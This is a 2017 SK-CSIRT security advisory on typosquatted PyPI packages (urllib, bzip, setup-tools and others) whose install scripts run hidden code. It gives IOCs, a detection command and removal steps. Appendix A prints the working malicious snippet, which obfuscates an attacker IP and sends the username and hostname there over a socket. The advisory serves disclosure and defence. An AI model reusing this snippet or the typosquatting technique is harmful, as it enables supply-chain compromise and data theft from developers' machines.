SECURITY ADVISORY
skcsirt-sa-20170909-pypi-malicious-code

Document version	1.2
Document number	**skcsirt-sa-20170909-pypi-malicious-code**
Sector	-
Date	09.09.2017
Latest change	05.04.2018

About this document

This security advisory, **skcsirt-sa-20170909-pypi-malicious-code**, contains information about malicious software libraries in the official Python package repository, PyPI, posing as well-known libraries, identified by SK-CSIRT. The report contains results of analysis, recommendations and IOCs.

Distribution of this document

This document is labeled TLP:WHITE. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.

The Traffic Light Protocol (TLP) was created in order to facilitate greater sharing of information. TLP is a set of designations used to ensure that sensitive information is shared with the appropriate audience. It employs four colors to indicate expected sharing boundaries to be applied by the recipient(s). TLP only has four colors; any designations not listed in this standard are not considered valid by FIRST.

SK-CERT users TLP when sharing information, as well as recipient, always honoring its standard. You can read more about TLP at https://www.sk-cert.sk/en/about-us/information-protection/index.html

About SK-CERT

SK-CERT is the analytical, communication, and cooperation unit of National Security Authority in Slovakia for the area of cyber security. It has a role of national CSIRT. You can learn about us at https://www.sk-cert.sk

Contact information

National Security Authority
Budatínska 30 | 851 06 Bratislava | Slovak Republic
tel.: +421 2 6869 2915 | mob.: +421 903 993 706
e-mail: sk-cert@nbu.gov.sk
PGP: D66E 619A E83A 8802 51A6 5AC7 CF74 96BD 1A1A 0ACD
web: www.sk-cert.sk | www.nbu.gov.sk

Table of contents

Vulnerability identification

CVE:

None

Affected platforms:

Python (all versions on any OS incl. Windows, Linux, Mac OS)

Severity:

Medium (fake software packages, code execution of benign malware)

Summary

SK-CSIRT identified malicious software libraries in the official Python package repository, PyPI, posing as well-known libraries. A prominent example is a fake package *urllib-1.21.1.tar.gz*, based upon a well-known package *urllib3-1.21.1.tar.gz*.

Such packages may have been downloaded by unwitting developer or administrator by various means, including the popular "pip" utility (*pip install urllib*). There is evidence that the fake packages have indeed been downloaded and incorporated into software multiple times between June 2017 and September 2017.

Description

Copies of several well-known Python packages were published under slightly modified names in the official Python package repository PyPI (prominent example includes urllib vs. urrlib3, bzip vs. bzip2, etc.). These packages contain the exact same code as their upstream package thus their functionality is the same, but the installation script, setup.py, is modified to include a malicious (but relatively benign) code.

List of fake package names:

- acqusition (uploaded 2017-06-03 01:58:01, impersonates acquisition)
- apidev-coop (uploaded 2017-06-03 05:16:08, impersonates apidev-coop_cms)
- bzip (uploaded 2017-06-04 07:08:05, impersonates bz2file)
- crypt (uploaded 2017-06-03 08:03:14, impersonates crypto)
- django-server (uploaded 2017-06-02 08:22:23, impersonates django-server-guardian-api)
- pwd (uploaded 2017-06-02 13:12:33, impersonates pwdhash)
- setup-tools (uploaded 2017-06-02 08:54:44, impersonates setuptools)
- telnet (uploaded 2017-06-02 15:35:05, impersonates telnetsrvlib)
- urlib3 (uploaded 2017-06-02 07:09:29, impersonates urllib3)
- urllib (uploaded 2017-06-02 07:03:37, impersonates urllib3)

The malicious code added to the fake package is executed as soon as the developer or system administrator installs the package (which is often done with administrator privileges).

The executed code in identified samples is only used to report the following information, using a HTTP request to a remote server at http://121.42.217[.]44:8080/:

- name and version of the fake package
- user name of the user who installs the package
- hostname

The clear text data may look like this:

Y: urllib-1.21.1 admin testmachine

The data is obfuscated using XOR with a hard-coded password, and base64 encoded. The server address and port are obfuscated in the code, too.

There is evidence that fake packages have been downloaded and incorporated into software multiple times between June 2017 and September 2017. The coding style of the added code snipplet (see Appendix A) makes it incompatible with Python 3.x. Troubles installing the packages on Python 3.x were reported on the Internet multiple times, but to our knowledge, never identified as a security incident.

Success of the attack relies on negligence of the developer, or system administrator, who does not check the name of the package thoroughly. The attack is made easier by “pip” tool not requiring the cryptographic signature and executing arbitrary code during package installation, which is a well-documented bug/feature. It is also easy to publish any arbitrary Python code to the PyPI repository, which does not have and quality assurance or code review process.

Actions taken

We have contacted the administrators of PyPI repository, and all identified packages were taken down immediately.

However, this does not remove fake packages from the servers where they have already been installed.

Recommendations

Remove all unintentionally installed fake packages.

To check whether the packages are installed on system, execute the following command:

```
pip list --format=legacy | egrep '^(acqusition|apidev-coop|bzip|crypt|django-server|pwd|setup-tools|telnet|urlib3|urllib) '
```

If the command displays at least one package, remove it by either using

```
pip uninstall <package>
```

or by removing it from the system directory firectly. The latter option provides a bit more safety by not running any potential malicious code in the process of removal.

Install the proper package instead.

Safer Python development

Take great care when installing a Python package with pip, because it executes code downloaded from the Internet. Especially, take great care when installing unknown or untrusted package from PyPI, because these packages are not subject to code review.

Existing source code

As the class names remained the same, there is no need to modify the source code, which used the fake packages. As soon as proper package is installed, the code should continue working as expected.

Indicators of Compromise

- connections to 121.42.217[.]44 TCP port 8080 (contact with IP address suggests someone from your network have installed the fake package.)

- MD5:
  93ec90693ef461d7f1e6f55b14cf47d9
  1ac5a57d9b1c5525e27b4cbd5e254db1
  1d0eaf4be1147da84e9069fff2e75629
  80e114a73440a76c8d363f03a256a7a2
  a1b460d52cfdee4e6193a9363c95c537
  c68880e38bc514471cfb0b2226380bfd
  57fed189bd50ffc95bbc3ca38670834b
  9d944888b4072ae0eb71233b5d3d837a
  b389410f6fa9084fa63ccef153fa243c
  d4a9c4fb93306ebd7a6968ff2c503d17

- URL:

https://pypi[.]python.org/packages/5f/d2/e1b040d127dba93b94fe89065233cfb79f8c470d928e1287fb5a599fa230/Acqusition-4.4.2.tar.gz
https://pypi[.]python.org/packages/e3/00/b94399b2fbe768c478747bd8a23c325ea2abfa4f437d9c3e4f5b9035887c/apidev-coop-1.2.26.tar.gz
https://pypi[.]python.org/packages/7d/eb/cee775effde4e970da49d6468b70d2416fe5a08e11e19a522f53d5743811/bzip-0.98.tar.gz
https://pypi[.]python.org/packages/ca/e0/b5f7810a1ad037f7afe810ed47a12c9ac44f52ac42e12e81f3ef7051352d/crypt-1.4.1.tar.gz
https://pypi[.]python.org/packages/4e/b1/6590c58d3ef19f68d6c60433e003bbeebf19f0281bb1174a32cbfee3c816/django-server-0.1.2.tar.gz
https://pypi[.]python.org/packages/55/b4/eb2a24496bab26ffa704a2a4f8d0eb827d360493d66d54f8208784f3d069/pwd-0.1.3.tar.gz
https://pypi[.]python.org/packages/84/08/c01703c62d4eda7ae0c38deeb8adb864d0c90367a4c3e4299b917ac88a39/setup-tools-36.0.1.zip
https://pypi[.]python.org/packages/c0/b6/ff36a55c6058aaf89451eacd5032c9ff12d6afacd08a21a3730195f2c43a/telnet-0.4.tar.gz
https://pypi[.]python.org/packages/75/4e/dcbcdb390752270dd52f93a2402e1092141b44d8359617da5539574283d4/urlib3-1.21.1.tar.gz
https://pypi[.]python.org/packages/da/97/7ed06ae96106088e13e88fd6f91c17fb58786d705b851f82c991664b08db/urllib-1.21.1.tar.gz

- installed packages containing one of the names in the list above (see Description and Recommendations)

Appendix A: Malicious code snippet

The malicious code in identified samples is as follows:

```
try:
    import os
    import pwd
    import socket
    import base64
    soft = os.getcwd().split('/')[-1]
    u = pwd.getpwuid(os.getuid()).pw_name
    hname = socket.gethostname()
    rawd = 'Y:%s %s %s'%(soft, u, hname)
    encd = '';t=[0x76,0x21,0xfe,0xcc,0xee];
    for i in xrange(len(rawd)):
        encd += chr(ord(rawd[i]) ^ t[i%len(t)])
    p = ('G' + 'E' + 'T /%s ' + 'H' + 'T' + 'T' + 'P/1.1\r\n')%(base64.b64encode(encd)) + '\r\n'*2
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)
    rip = 'M' + 'TIxL' + 'jQyL' + 'jIx' + 'N' + 'y4' + '0NA' + '=='
    s.connect((base64.b64decode(rip), 017620))
    s.sendall(p)
    s.close()
except Exception,e:
    # Welcome Here! :)
    # just toy, no harm :)
    pass
```